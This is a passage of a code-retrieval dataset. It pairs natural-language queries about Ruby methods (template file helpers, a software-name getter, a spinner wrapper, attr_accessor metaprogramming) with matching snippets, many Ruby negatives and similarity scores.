[ "0.62913877", "0.58467627", "0.57310295", "0.57072043", "0.56303775", "0.56195545", "0.5594459", "0.55676186", "0.55500966", "0.5475249", "0.5435469", "0.53684217", "0.52764076", "0.52743936", "0.5233696", "0.5222552", "0.5213078", "0.521233", "0.5182502", "0.5171544", "0.5169341", "0.5102561", "0.50983095", "0.5080595", "0.50741565", "0.5054782", "0.5036206", "0.50346386", "0.50290304", "0.5024356", "0.50207865", "0.49964073", "0.49941438", "0.4969742", "0.49645278", "0.49641657", "0.4963053", "0.4952891", "0.49282876", "0.4916594", "0.4913623", "0.49135053", "0.4911609", "0.49062648", "0.49052408", "0.4903796", "0.48961586", "0.4892729", "0.488726", "0.48863924", "0.48843983", "0.48831096", "0.48816186", "0.48702076", "0.48657456", "0.48504686", "0.48504686", "0.4848612", "0.4845021", "0.48365667", "0.4834383", "0.48324263", "0.48316264", "0.48298365", "0.4826759", "0.4825108", "0.48222902", "0.482019", "0.4819703", "0.48180786", "0.4818018", "0.4815401", "0.480949", "0.48059443", "0.48056743", "0.48056743", "0.47988617", "0.47939903", "0.47936136", "0.47919574", "0.47807238", "0.47782254", "0.477373", "0.477241", "0.4769943", "0.47649506", "0.47542748", "0.47515473", "0.47469193", "0.47438198", "0.4740062", "0.47351718", "0.4734968", "0.47326818", "0.47315443", "0.47301984", "0.47281417", "0.47246888", "0.47240186", "0.47230953" ]
0.56409127
4
Template File Methods These probably should NOT be overridden in the concrete classes
def layout_template_file(program:) template_file( template_name: program.layout_template_name, extension: :LAYOUT_EXT ) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def template; end", "def template; end", "def template; end", "def template; end", "def template; end", "def template; end", "def template; end", "def templates; end", "def template_source\n raise NotImplementedError\n end", "def implementation; end", "def implementation; end", "def template() false end", "def custom; end", "def custom; end", "def private; end", "def template_for(file); end", "def template_name; end", "def template_name; end", "def rendered_templates; end", "def template(name); end", "def client_code(abstract_class)\n # ...\n abstract_class.template_method\n # ...\nend", "def client_code(abstract_class)\n # ...\n abstract_class.template_method\n # ...\nend", "def overrides; end", "def generate\n super\n end", "def template_map\n \n end", "def templates_for(file); end", "def extensions_for(template_class); end", "def extensions_for(template_class); end", "def add_template_pages; end", "def methods; end", "def methods; end", "def methods; end", "def methods; end", "def generic?; true; end", "def use_template(klass)\n define_singleton_method(:source_location) { klass.source_location }\n end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def render\n raise NotImplementedError, 'this should be overridden by concrete sub-class'\n end", "def user_template\n super\n end", "def helpers; end", "def helpers; end", "def helpers; end", "def __in_erb_template;\n end", "def __in_erb_template;\n end", "def generate\n raise NotImplementedError\n end", "def generate\n raise NotImplementedError\n end", "def content_methods; end", "def read_template_file\n raise 'This is a generic store. Please use a subclass.'\n end", "def set_template\n end", "def templates=(_arg0); end", "def get_template(template); end", "def special\n override\n end", "def determine_template(options); end", "def generate\n raise \"must implement\"\n end", "def methods() end", "def method_missing(meth, *args, &block)\n if @template.respond_to?(meth)\n @template.send(meth, *args)\n else\n super\n end\n end", "def method_missing(meth, *args, &block)\n if @template.respond_to?(meth)\n @template.send(meth, *args)\n else\n super\n end\n end", "def get_template_name\n raise NotImplementedError.new(\"#{self.class.name}#area is an abstract method.\")\n end", "def virtual; end", "def initialize( * )\n\t\tsuper\n\t\t@template = self.load_template\n\tend", "def render!; raise NotImplementedError end", "def apply_template_before?; end", "def render\n # To be implemented.\n end", "def abstract!; end", "def find_templates(name, details, prefix, partial)\n raise NotImplementedError\n end", "def source(override); end", "def tag; raise 'Override this method'; end", "def render; end", "def render; end", "def render; end", "def render; end", "def render; end", "def >>(klass); @template.hook(klass); end", "def traits; end", "def type; super; end", "def dynamic; end", "def content\n raise \"Must be implemented.\" \n end", "def template_page(site); end", "def url_template; end", "def url_template; end", "def define_helpers; end", "def process_template name, args\n super name, args, [\"#@current_class##@current_method\"]\n end", "def render\n raise NotImplementedError\n end", "def template\n @template ||= self.class.template\n end", "def _template\n @template\n end", "def generate\n throw \"override me before innocent kittens are hurt!\"\n end", "def template_name=(_arg0); end", "def template_name=(_arg0); end", "def t\n @template\n end", "def abstract?; end", "def pack_template\n selfclass.pack_template\n end", "def generic_traps\n super\n end", "def specialty; end", "def generate_html\n # the individual descriptions for files and classes\n gen_into(@files)\n gen_into(@classes)\n # and the index files\n gen_file_index\n gen_class_index\n gen_method_index\n gen_main_index\n\n # this method is defined in the template file\n write_extra_pages if defined? write_extra_pages\n end", "def generate; end", "def generate; end", "def fulldoc_template; end", "def plain; end", "def initialize (template); @template = template; end" ]
[ "0.72259814", "0.72259814", "0.72259814", "0.72259814", "0.72259814", "0.72259814", "0.72259814", "0.7084837", "0.67788833", "0.6580237", "0.6580237", "0.65798527", "0.6531995", "0.6531995", "0.6468493", "0.6451004", "0.6384926", "0.6384926", "0.6376782", "0.6364708", "0.63462865", "0.63462865", "0.63013345", "0.62745947", "0.6232905", "0.62255645", "0.6211638", "0.6211638", "0.61901003", "0.61855286", "0.61855286", "0.61855286", "0.61855286", "0.6141017", "0.6132796", "0.6132137", "0.6132137", "0.6132137", "0.6132137", "0.61301285", "0.61230326", "0.6096216", "0.6096216", "0.6096216", "0.60840046", "0.60840046", "0.60549426", "0.6054107", "0.6051825", "0.60475844", "0.60244966", "0.60190517", "0.60189116", "0.5991025", "0.59893596", "0.59865373", "0.5979981", "0.59728825", "0.59728825", "0.5969993", "0.59561783", "0.59432596", "0.5856191", "0.58492374", "0.58487606", "0.58447266", "0.5839019", "0.5835724", "0.5831575", "0.5813297", "0.5813297", "0.5813297", "0.5813297", "0.5813297", "0.58058596", "0.58006877", "0.5798312", "0.579404", "0.5769731", "0.57627434", "0.5759738", "0.5759738", "0.57530284", "0.5746368", "0.5735212", "0.57317215", "0.57229567", "0.57177234", "0.5706439", "0.5706439", "0.56995416", "0.56978047", "0.5692643", "0.568201", "0.5681168", "0.5680928", "0.56720847", "0.56720847", "0.5657748", "0.56527317", "0.5651665" ]
0.0
-1
Getter Methods These should NOT be overridden in the concrete classes The name of the software that controls the thermocycler
def software_name self.class.const_get(:SOFTWARE_NAME) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def class_name; end", "def class_name; end", "def system_name\n self.name\n end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end", "def name; end" ]
[ "0.64199996", "0.64199996", "0.6346704", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015", "0.62954015" ]
0.65451866
0
Run block with spinner by default if all, or when using verbose. Do not use spinner if silent.
def maybe_spinner(msg, &block) if (all? || verbose?) && !silent? spinner(msg, &block) else yield end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def spinner(title, &block)\n return yield unless ui_enabled?\n\n results = concurrently do |actions|\n actions.await(title, &block)\n end\n\n results[title]\n end", "def spinner; end", "def spinner\n spinner = Enumerator.new do |e|\n loop do\n e.yield '|'\n e.yield '/'\n e.yield '-'\n e.yield '\\\\'\n end\n end\n \n 1.upto(20) do |i|\n printf(\"\\r Loading %s\", spinner.next)\n sleep(0.1)\n end\n puts \"\\n\"\n end", "def start_spinner\n spinner.auto_spin unless spinner.nil?\n nil\n end", "def stop_spinner\n @spinner_running = false\n print \"\\b\"\n end", "def stop_spinner\n @spinner_running = false\n print \"\\b\"\nend", "def auto_spin\n raise \"No top level spinner\" if @top_spinner.nil?\n\n @top_spinner.auto_spin\n jobs = []\n @spinners.each do |spinner|\n if spinner.job?\n spinner.auto_spin\n jobs << Thread.new { spinner.job.call(spinner) }\n end\n end\n jobs.each(&:join)\n end", "def show_spinner(msg_start, msg_end = \"Concluído com sucesso!\")\n spinner = TTY::Spinner.new(\"[:spinner] #{msg_start} \")\n spinner.auto_spin \n yield # bloco de código\n spinner.success(\"(#{msg_end})\")\n end", "def spinner_text; end", "def loader(body, time)\n pastel = Pastel.new\n spinner = TTY::Spinner.new(pastel.blue(\":spinner :text :spinner \"), format: :dots_2)\n spinner.auto_spin\n if !time.nil?\n time.downto(0) do |sec|\n spinner.update(text: \"#{body} (Est. #{sec}s)\")\n sleep(1)\n end\n else\n spinner.update(text: \"#{body}\")\n end\n spinner\nend", "def wait_for_no_spinner\n sleep 0.01\n within(:xpath, '//html/body') do\n SitePrism::Waiter.wait_until_true { page.has_no_css? '.fa-spinner' }\n SitePrism::Waiter.wait_until_true { page.has_no_css? '.fa-spin' }\n SitePrism::Waiter.wait_until_true { page.has_no_css? '.blockUI' }\n SitePrism::Waiter.wait_until_true { page.has_no_css? '.blockMsg' }\n SitePrism::Waiter.wait_until_true { page.has_no_css? '.blockPage' }\n end\n sleep 0.01\n end", "def show_wait_spinner(fps=10)\n chars = %w[| / - \\\\]\n delay = 1.0/fps\n iter = 0\n spinner = Thread.new do\n while iter do # Keep spinning until told otherwise\n print chars[(iter+=1) % chars.length]\n sleep delay\n print \"\\b\"\n end\n end\n yield.tap{ # After yielding to the block, save the return value\n iter = false # Tell the thread to exit, cleaning up after itself…\n spinner.join # …and wait for it to do so.\n } # Use the block's return value as the method's\n end", "def set_spinner_off\n 'miqSparkleOff();'\n end", "def setSpinner(term)\n return if (mode = switch?(term)).nil?\n mode ? @spinner.startAnimation(self) : @spinner.stopAnimation(self)\n end", "def loading_with_spinner(spinner_id, options)\n options.merge(\n :loading => \"$('#{spinner_id}').show(); #{options[:loading]}\",\n :complete => \"$('#{spinner_id}').hide(); #{options[:complete]}\"\n )\n end", "def await(title)\n @results[title] = nil\n\n add(title) do |spinner|\n catch(:success) do\n msg = catch(:fail) do\n @results[title] = yield spinner\n throw :success\n end\n\n puts msg\n CLI::UI::Spinner::TASK_FAILED\n end\n end\n end", "def stop_spinner(success)\n return if spinner.nil?\n success ? spinner.success : spinner.error\n nil\n end", "def button_spinner(message = 'Loading...')\n \"<i class='fa fa-spinner fa-spin'></i> #{message}\".html_safe\n end", "def success\n @top_spinner.success if @top_spinner\n @spinners.dup.each(&:success)\n emit :success\n end", "def first_spin\n puts \"Welcome to the Slots!\".magenta\n puts \"You currently have $#{$wallet}\".green\n puts \"How much money would you like to bet today?\".magenta\n puts \" \"\n @bet_amount = gets.to_i\n puts \" \"\n# if user tries to bet anything less than $1, it will spit them back to the welcome text\n if @bet_amount < 1\n puts \"Come on! You have to at least bet $1...\"\n puts \" \"\n first_spin\n end\n modify_wallet(@bet_amount)\n spin_it\n end", "def loading (program = \"Name encoder\", i = 0)\n puts \"#{program} initialized\"\n sleep(0.25)\n puts \"loading\"\n loading_bar = [\n \". \",\". \",\n \". \",\". \",\n \". \",\". \"\n ]\n until i == 6\n print loading_bar[i]\n sleep(0.5)\n i += 1\n end\n puts \"Ready!\"\nend", "def wait_for_spinner\n start = Time.now\n sleep 1\n if spinner?\n spinner_element.when_not_visible Utils.medium_wait rescue Selenium::WebDriver::Error::StaleElementReferenceError\n wait = Time.now - start\n logger.debug \"Spinner lasted for #{wait} seconds\"\n wait\n else\n logger.debug 'Spinner lasted less than 1 second'\n end\n end", "def top_spinner\n raise \"No top level spinner\" if @top_spinner.nil?\n\n @top_spinner\n end", "def block\n options.fetch(:block)\n end", "def spinner(spinner_id = :spinner, hidden = true)\n options = {:id => spinner_id}\n options.merge!(:style => 'display:none') if hidden\n image_tag('admin_ui/indicator.gif', options)\n end", "def with_progress_bar(&block)\n return unless $stdout.tty?\n @progress_bar ||= ::ProgressBar.new\n block.call @progress_bar\n end", "def get_spinner_enumerator\n Enumerator.new do |e|\n loop do\n e.yield '|'\n e.yield '/'\n e.yield '-'\n e.yield '\\\\'\n end\n end\n end", "def busy( &block )\n self.connection.status( :dnd, \"Working...\" )\n yield\n self.connection.status( :chat, \"JabberListener waiting for instructions\" )\n end", "def blocking(params = {})\n get \"blocks/blocking\", params\n end", "def make_command_waiting\r\n self.class.send :alias_method, :command, :command_and_wait\r\n yield\r\n self.class.send :alias_method, :command, :command_verbatim \r\n end", "def run_as_system(&block)\n run_command false, &block\n end", "def raw(*command, &block)\n int_callback = lambda do\n @interrupted = true\n @logger.info(\"Interrupted.\")\n end\n\n # Append in the options for subprocess\n command << { :notify => [:stdout, :stderr] }\n\n Vagrant::Util::Busy.busy(int_callback) do\n Vagrant::Util::Subprocess.execute(@vboxmanage_path, *command, &block)\n end\n end", "def loading_markup\n \"<ul class='spinner'><li/><li/><li/></ul>\".html_safe\n end", "def block\n true\n end", "def async_exec(&block)\n @swt_display.asyncExec do\n execs_in_progress << :async_exec\n begin\n result = block.call\n ensure\n execs_in_progress.pop\n end\n end\n end", "def runner(&block)\n if Vedeu.config.once?\n run_once { yield }\n\n else\n run_many { yield }\n\n end\n end", "def runblock\r\n\t\t\t@b.call\r\n\t\tend", "def runblock\r\n\t\t\t@b.call\r\n\t\tend", "def quiet\n old = Thread.current[::Dalli::QUIET]\n Thread.current[::Dalli::QUIET] = true\n yield\n ensure\n @ring&.pipeline_consume_and_ignore_responses\n Thread.current[::Dalli::QUIET] = old\n end", "def fixed!\n spinner.update title: Pastel.new.green(good)\n spinner.success\n end", "def use_blocker\n blocker do\n # next\n # break\n # return\n \"HA!\"\n # next\n # break\n # return\n end\n puts \"DONE!\"\nend", "def wait_spinner(element_id=nil, extra_style=nil)\n image_tag('wait_spinner.gif', :id=>element_id, :class=>'wait-spinner', :style=>['display:none;', extra_style].compact.join)\n end", "def record_block\n @block = true\n end", "def raw(*command, &block)\n int_callback = lambda do\n @interrupted = true\n @logger.info(\"Interrupted.\")\n end\n\n # Append in the options for subprocess\n command << { :notify => [:stdout, :stderr] }\n\n Vagrant::Util::Busy.busy(int_callback) do\n Vagrant::Util::Subprocess.execute(*command, &block)\n end\n end", "def needs_sudo!\n spinner.update title: Pastel.new.yellow(\"#{good} (please add the --sudo flag)\")\n spinner.stop\n end", "def throbber(options = {}, &block)\n hidden_output do |ostream|\n code_thread = Thread.new { block.call }\n throbber_thread = Throbber.new(ostream, code_thread, options)\n\n code_thread.join\n throbber_thread.join\n end\n end", "def take_it_for_a_spin\n @ktt_disabled = true\n end", "def block\n @grpc.block_all_filter = true\n self\n end", "def spinners_enabled?\n PDK::CLI::Util.interactive?\n end", "def spinner_tag(id = 'ident')\r\n image_tag('web/spinner.gif', :id=>\"#{id}_spinner\", :align => 'absmiddle', :style=> 'display:none;border:none;', :alt => 'loading...')\r\n end", "def quiet(&block)\n with_verbose(false, &block)\n end", "def quiet(&block)\n with_verbose(false, &block)\n end", "def block_method(&block)\n if @train_list.empty?\n puts \"No trains on the station\"\n elsif block_given?\n @train_list.each do |train|\n block.call(train)\n end\n else\n puts \"No blocks\"\n end\n end", "def wait(&block)\n fiber = Fiber.current\n\n # Resume the fiber when a response is received\n allow_resume = true\n block.call do |*args|\n fiber.resume(*args) if allow_resume\n end\n\n # Attempt to pause the fiber until a response is received\n begin\n Fiber.yield\n rescue FiberError => ex\n allow_resume = false\n raise Error, 'Spotify Web APIs cannot be called from root fiber; use SpotifyWeb.run { ... } instead'\n end\n end", "def status(str)\n if !Choice.choices[:quiet]\n print str\n STDOUT.flush\n end\nend", "def spinner_tag(id = 'ident')\n\t\timage_tag('auth/spinner.gif', :id=>\"#{id}_spinner\", :align => 'absmiddle', :border=> 0, :style=> 'display: none;', :alt => 'loading...' )\n\tend", "def blocks() end", "def call_block\n @_block.call(self) if @_block\n end", "def raw(*command, &block)\n int_callback = lambda do\n @interrupted = true\n @logger.info(\"Interrupted.\")\n end\n\n Util::Busy.busy(int_callback) do\n Subprocess.execute(@vboxmanage_path, *command, &block)\n end\n end", "def grab_tweets &block\n NSLog \"grab_tweets\"\n self.spinner.startAnimation self\n TwitterSearch.new(self.search_term) do |tweets|\n @tweets = tweets\n block[]\n self.spinner.stopAnimation self\n end\n end", "def verbose(&block)\n with_verbose(true, &block)\n end", "def verbose(&block)\n with_verbose(true, &block)\n end", "def raw(*command, &block)\n int_callback = lambda do\n @interrupted = true\n\n # We have to execute this in a thread due to trap contexts\n # and locks.\n Thread.new { @logger.info('Interrupted.') }\n end\n\n # Append in the options for subprocess\n command << { notify: [:stdout, :stderr] }\n\n Vagrant::Util::Busy.busy(int_callback) do\n Vagrant::Util::Subprocess.execute(*command, &block)\n end\n end", "def when_no_pending_instances(&block)\n reset! \n if list_of_pending_instances.size == 0\n block.call if block\n else\n vprint \".\"\n wait \"5.seconds\"\n when_no_pending_instances(&block)\n end\n end", "def block!\n self.update_attribute(:status, BLOCKED)\n end", "def observe_events(spinner)\n spinner.on(:success) { @top_spinner.success if success? }\n .on(:error) { @top_spinner.error if error? }\n .on(:done) { @top_spinner.stop if done? && !success? && !error? }\n end", "def quick_spin_fragment_tubes\n show do\n title \"Quick spin down all the fragment tubes\"\n\n check \"Find the order with sales order (or supplier ref) number #{operations.first.input_data(\"Primer\", :order_number)}\"\n check \"Put all the fragment tubes in a table top centrifuge to spin down for 3 seconds.\"\n\n warning \"Make sure to balance!\"\n end\n end", "def blocks_progress?\n false\n end", "def active_block\n current_case ? blocks[current_case] : default\n end", "def raw(*command, &block)\n int_callback = lambda do\n @interrupted = true\n\n # We have to execute this in a thread due to trap contexts\n # and locks.\n Thread.new { @logger.info(\"Interrupted.\") }.join\n end\n\n # Append in the options for subprocess\n command << { notify: [:stdout, :stderr] }\n\n Vagrant::Util::Busy.busy(int_callback) do\n Vagrant::Util::Subprocess.execute(*command, &block)\n end\n rescue Vagrant::Util::Subprocess::LaunchError => e\n raise Vagrant::Errors::OpenBSDError,\n message: e.to_s\n end", "def block\n current_user.block_user(@user.id)\n render json: {ok: 1}\n end", "def raw(*command, &block)\n int_callback = lambda do\n @interrupted = true\n\n # We have to execute this in a thread due to trap contexts\n # and locks.\n Thread.new { @logger.info(\"Interrupted.\") }.join\n end\n\n # Append in the options for subprocess\n command << { notify: [:stdout, :stderr] }\n\n Vagrant::Util::Busy.busy(int_callback) do\n Vagrant::Util::Subprocess.execute(@vmrun_path, *command, &block)\n end\n end", "def busy\n @busy = true\n yield\n ensure\n @busy = false\n end", "def check_completion!\n if defined?(@complete_block) && @complete_block # rubocop:todo Style/GuardClause\n begin\n complete! if @complete_block.call\n rescue StandardError => e\n Vanity.logger.warn(\"Error in Vanity::Experiment::Base: #{e}\")\n end\n end\n end", "def stop\n @keep_watching = false\n update_spinner('Stopping')\n nil\n end", "def call_block\n\tputs \"Start of method\"\n\tyield\n\tyield\n\tputs \"End of method\"\nend", "def put_hold_notice\n @io.puts\n @io.puts 'Pausing here -- run Ruby again to ' \\\n 'measure the next benchmark...'\n end", "def block_selection\n end", "def ajax_spinner_for(id, spinner=\"spinner.gif\")\n \"<img src='/images/#{spinner}' style='display:none; vertical-align:middle;' id='#{id.to_s}_spinner'> \"\n end", "def deffered(&block)\n progressbar.show\n thread = Thread.new do\n Thread.current[:result] = suppress { block.call }\n end\n\n loop do\n progressbar.increment\n break if thread.status === false\n\n if thread.status.nil?\n progressbar.erase_line\n say red { Manager.locale.error(self, 'execution_failed') }\n\n exit 102\n end\n\n sleep 0.3\n end\n\n case thread[:result]\n when Octokit::OneTimePasswordRequired\n progressbar.erase_line\n otp_interview\n\n return deffered(&block)\n when NilClass\n progressbar.erase_line\n say red { Manager.locale.error(self, 'empty_response') }\n\n exit 103\n when Exception\n progressbar.erase_line\n say red { thread[:result].message }\n\n exit 104\n else\n # no-op\n end\n\n thread[:result]\n end", "def continue_bets\n puts \"Do you want to bet anything else? (y/n)\"\n choice = gets.strip.downcase\n case choice\n when \"y\"\n place_bets\n when \"n\"\n puts \"All Bets In.\"\n sleep(1)\n return\n else\n puts \"Invalid Choice\"\n continue_bets # repeats loop\n end\n end", "def generic_recipe_step\n puts \"On it!\"\n print_progress_bar\nend", "def generic_recipe_step\n puts \"On it!\"\n print_progress_bar\nend", "def generic_recipe_step\n puts \"On it!\"\n print_progress_bar\nend", "def blocks_progress?\n false\n end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end" ]
[ "0.6790666", "0.6763934", "0.65852416", "0.64971924", "0.62405556", "0.61833227", "0.6161981", "0.6105399", "0.5904148", "0.5759274", "0.5719988", "0.56380135", "0.5634144", "0.5574754", "0.5569722", "0.5542122", "0.55204594", "0.5489452", "0.54360396", "0.539193", "0.53689206", "0.53464586", "0.53042173", "0.5269307", "0.52641296", "0.5216769", "0.52128464", "0.51812905", "0.51788485", "0.51359385", "0.5112005", "0.5110284", "0.5096465", "0.5096234", "0.5079821", "0.50758547", "0.5074308", "0.5074308", "0.50735646", "0.5068486", "0.5055285", "0.5048095", "0.5044695", "0.5029783", "0.4985845", "0.49829608", "0.49823394", "0.49667594", "0.49636313", "0.4963309", "0.49383533", "0.49383533", "0.4927963", "0.49249855", "0.49237", "0.49236223", "0.49202988", "0.4895306", "0.48937213", "0.48903146", "0.4878647", "0.4878647", "0.4875816", "0.48720616", "0.48650438", "0.4863343", "0.48562607", "0.4840275", "0.48207495", "0.48161447", "0.48076236", "0.48051456", "0.48040965", "0.48029238", "0.47986743", "0.47942963", "0.47909603", "0.47871992", "0.47851688", "0.4770089", "0.47642127", "0.47498778", "0.47498778", "0.47498778", "0.47490764", "0.47460225", "0.47460225", "0.47460225", "0.47460225", "0.47460225", "0.47460225", "0.47460225", "0.47460225", "0.47460225", "0.47460225", "0.47460225", "0.47460225", "0.47460225", "0.47460225", "0.47460225" ]
0.81976056
0
Version 3 general attr_accessor
def my_attr_accessor(*attributes) attributes.each do |attribute| # for each attribute, use String interpolation # to generate the methods, and set attr_methods # equal to the generated string attr_methods = %Q{ def #{attribute} @#{attribute} end def #{attribute}=(val) @#{attribute} = val end } # call class_eval and pass in attr_methods class_eval(attr_methods) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def attr_accessor(sym, *more) end", "def attr_accessor(*args)\n attr_reader(*args)\n attr_writer(*args)\n end", "def define_attr_accessor(attr)\n attr_accessor(attr)\n end", "def bits_attr_accessor name\n class_eval \"def #{name}; self.attributes[#{name.inspect}]; end;\", __FILE__, __LINE__\n class_eval \"def #{name}=(val); self.attributes[#{name.inspect}]=val; end;\", __FILE__, __LINE__\n end", "def internal_attr_accessor(*syms)\n internal_attr_reader(*syms)\n internal_attr_writer(*syms)\n end", "def attr_internal_accessor(*attrs)\n attr_internal_reader(*attrs)\n attr_internal_writer(*attrs)\n end", "def attr_internal_accessor(*attrs)\n attr_internal_reader(*attrs)\n attr_internal_writer(*attrs)\n end", "def attr_internal_accessor(*attrs)\n attr_internal_reader(*attrs)\n attr_internal_writer(*attrs)\n end", "def attr_accessor(*fields)\n attr_reader *fields\n attr_writer *fields\n end", "def vcattr_accessor(*syms) # :nodoc:\r\n vcattr_reader *syms\r\n vcattr_writer *syms\r\n end", "def attr_reader(*)\n end", "def mattr_accessor(*syms)\n mattr_reader(*syms) + mattr_writer(*syms)\n end", "def initialize\n @attribute = 'truite'\n @accessor = 'pouet'\n end", "def attr_accessor(name)\n attr_reader(name)\n attr_writer(name)\n nil\n end", "def attr_writer(sym, *more) end", "def cattr_accessor(*fields)\n metaclass.send :attr_accessor, *fields\n end", "def attr_reader(sym, *more) end", "def attr; end", "def cattr_accessor(*syms)\n cattr_reader(*syms) + cattr_writer(*syms)\n end", "def attr(name); end", "def attribute=(_arg0); end", "def attribute=(_arg0); end", "def attr(symbol, writable=false) end", "def cattr_accessor(*syms)\n cattr_reader(*syms)\n cattr_writer(*syms)\n end", "def dsl_accessor( attrname )\n\t\t\tdefine_method( attrname ) do |arg=nil|\n\t\t\t\tinstance_variable_set( \"@#{attrname}\", arg ) unless arg.nil?\n\t\t\t\treturn instance_variable_get( \"@#{attrname}\" )\n\t\t\tend\n\t\tend", "def attr_accessor_sybling(method)\n attr_reader?(method) ? to_attr_writer(method) : to_attr_reader(method)\n end", "def metaattr_accessor(*meths)\n metaclass.instance_eval{attr_accessor(*meths)}\n end", "def attr_class_accessor(*args)\n\t\targs.each{|arg|\n\t\t\tclass_eval %(\n\t\t\t\tdef #{arg}; self.class.#{arg}; end\n\t\t\t\tdef #{arg}=(v); self.class.#{arg} = v; end\n\t\t\t)\n\t\t}\n\tend", "def onetime_attr_accessor(_name)\n attr_reader(_name)\n onetime_attr_writer(_name)\n end", "def attr_info; end", "def attribute(name); end", "def attribute; end", "def attribute; end", "def attribute; end", "def attribute; end", "def attribute; end", "def attribute; end", "def attribute; end", "def parse_attr_accessor(context, single, tk, comment)\n line_no = tk[:line_no]\n\n args = parse_symbol_arg\n rw = \"?\"\n\n tmp = RDoc::CodeObject.new\n read_documentation_modifiers tmp, RDoc::ATTR_MODIFIERS\n # TODO In most other places we let the context keep track of document_self\n # and add found items appropriately but here we do not. I'm not sure why.\n return if @track_visibility and not tmp.document_self\n\n case tk[:text]\n when \"attr_reader\" then rw = \"R\"\n when \"attr_writer\" then rw = \"W\"\n when \"attr_accessor\" then rw = \"RW\"\n else\n rw = '?'\n end\n\n for name in args\n att = create_attr context, single, name, rw, comment\n att.line = line_no\n end\n end", "def accessor(*args)\n attr_accessor(*args)\n args\n end", "def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end", "def get_attribute(name); end", "def get_attribute(name); end", "def set_attribute(name, value); end", "def attributes(*args)\n attr_accessor(*args)\n end", "def class_attributes; end", "def ext_attr\n attribute_prop(10)\n end", "def define_accessors\n self.metadata.properties_and_identity.each do |name, _|\n self.model.send :attr_accessor, name.downcase\n end\n end", "def method_missing(method_name, *args, &block)\n # Check if the method missing an \"attr=\" method\n raise unless method_name.to_s.end_with?(\"=\")\n\n setter = method_name\n getter = method_name.to_s.slice(0...-1).to_sym\n instance_var = \"@#{getter}\".to_sym\n\n # attr_writer\n define_singleton_method(setter) do |new_val|\n instance_variable_set(instance_var, new_val)\n end\n\n # attr_reader\n define_singleton_method(getter) { instance_variable_get(instance_var) }\n\n # Ignores all arguments but the first one\n value = args[0]\n\n # Actually sets the value on the instance variable\n send(setter, value)\n rescue MethodMissing\n # Raise error as normal, nothing to see here\n super(method_name, *args, &block)\n end", "def serializable_attr_accessor(*syms)\n attr_accessor(*syms)\n attribute_keys.push(*syms)\n end", "def vcattr_writer(*syms) # :nodoc:\r\n syms.each do |sym|\r\n instance_eval <<EVAL, __FILE__, __LINE__ + 1\r\ndef #{sym}=(value)\r\n @version.nil? ? @_#{sym} = value : versions[@version][#{sym.inspect}] = value\r\nend\r\nEVAL\r\n end\r\n end", "def getters; end", "def attr_reader(*vars)\n super *(add_tracked_attrs(true, false, *vars))\n end", "def accessor\n @@accessor ||= nil\n @@accessor\n end", "def attributes=(_arg0); end", "def class_attr_accessor(class_variable_name)\n self.class.send(:attr_accessor, class_variable_name)\nend", "def instance_attributes; end", "def attr_accessor( * )\n fail \"Remember, an Entity is immutable. Use a Services::Service to mutate the underlying data.\"\n end", "def create_accessors(attribute_name)\n class_eval do\n define_method(attribute_name) do\n odata_entity[property_map[attribute_name]]\n end\n\n define_method(\"#{attribute_name}=\") do |value|\n # unless entity[property_map[attribute_name]] == value\n # send(\"#{attribute_name}_will_change!\") if defined?(::ActiveModel)\n # end\n\n 